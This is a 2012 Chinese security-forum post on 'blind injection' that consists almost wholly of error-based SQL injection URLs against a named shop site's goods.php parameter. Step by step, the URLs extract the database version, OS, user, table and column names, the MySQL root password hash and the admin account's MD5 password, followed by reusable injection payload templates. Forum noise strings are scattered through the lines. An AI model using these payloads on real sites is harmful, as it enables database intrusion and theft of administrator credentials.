找回密码
 立即注册
查看: 2826|回复: 0
打印 上一主题 下一主题

盲注详细内容

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:59:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
判断版本号 ; P/ N0 K# p9 P# v! T# |+ d2 f
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
, ^, a5 w" ?: P9 f( V6 Q3 H* p) l8 S5 K8 B4 r( C6 d/ a; C: X4 P
判断系统
% w  z, k% w3 G% ~- k* B2 X" F2 P* ?- d) B. m9 L% O$ I
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%238 R) b4 o, ~& p% z& J" a1 q
# t2 ]! f- s6 h1 R5 x$ x& H2 d
- @  q0 i4 s$ l- U: [- p; ~5 [
6 w2 Q; r/ p1 @  g) S
当前 user()# P$ f( e! r7 Q7 Z# h4 Q# T1 v: s

+ v# C( z5 k+ D) M4 K* jhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%234 e" a( p: n! E# `

- `2 o/ c' U# g( C8 L6 g$ Y/ x2 h& E  N

7 E0 @& _+ k& _当前 database()
' i1 G) D1 v: L& vhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
( W2 c3 W/ Z' L6 {! o/ O2 t  [/ k6 u6 ^/ O6 [; W) J: t( w

* Z! A! f2 X2 }, S. @4 ~
$ q+ D7 _+ H9 Q% J" z
. Y" F4 p7 S/ Lroot hash
& B6 I6 v- g  Z/ r1 M0 b5 H6 h( C7 z" C/ ?; T; v" o  ^8 T
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23" r" e6 B0 a1 P

1 [; d, f, |/ U' U4 n0 \# Q; S5 j, [8 Y' E7 Z
8 H; ~6 U" @5 j# A% V& W
当前 数据库表名( ?; J! v5 R& S3 \

1 N8 ?* W7 W, q) y+ ohttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%236 Z9 A% q3 U0 [0 v- f
" K: i. n: t$ G4 I

" z- j2 c- B4 g7 N2 E4 f6 Y2 O0 M, C/ g& l7 {
当前 数据库 user_name 字段
' g8 ^" ?5 {2 a. S- a4 I+ F& x4 `: n* D9 D! A( e8 r' Y
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23- u) T1 x6 h2 `; T- x

& a5 W9 D3 G* D8 R& N2 J6 P当前 数据库 字段 password2 o* m1 Y/ }- K3 o5 i5 u
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%236 }1 h+ b* J+ w9 Q# t! L. q6 B# V

. z- K. |: R4 _5 _1 I/ ~; G% Z% r: s- h: A, C& o
+ F: n3 O2 H7 m$ V
获得 admin passwd(md5)' ]* p9 Q1 |0 u* _4 ]
! D5 q/ T$ Z9 [) F9 G/ b: [

8 w$ a# O+ _7 @- w: L1 Y6 ]) phttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23; F5 L4 D$ o  d

6 t) Y3 P: r: Y8 T/ K9 A报错注射( x0 T" C+ T3 G, {1 q6 {
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
: u( |* M6 `# z" \: c$ Y
' ^0 L" e3 K) P( p! t7 XSELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)! ^! ], P. S' _2 d; Z9 B1 T1 S8 G

; x3 w  ^1 H9 g+ d9 tand(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表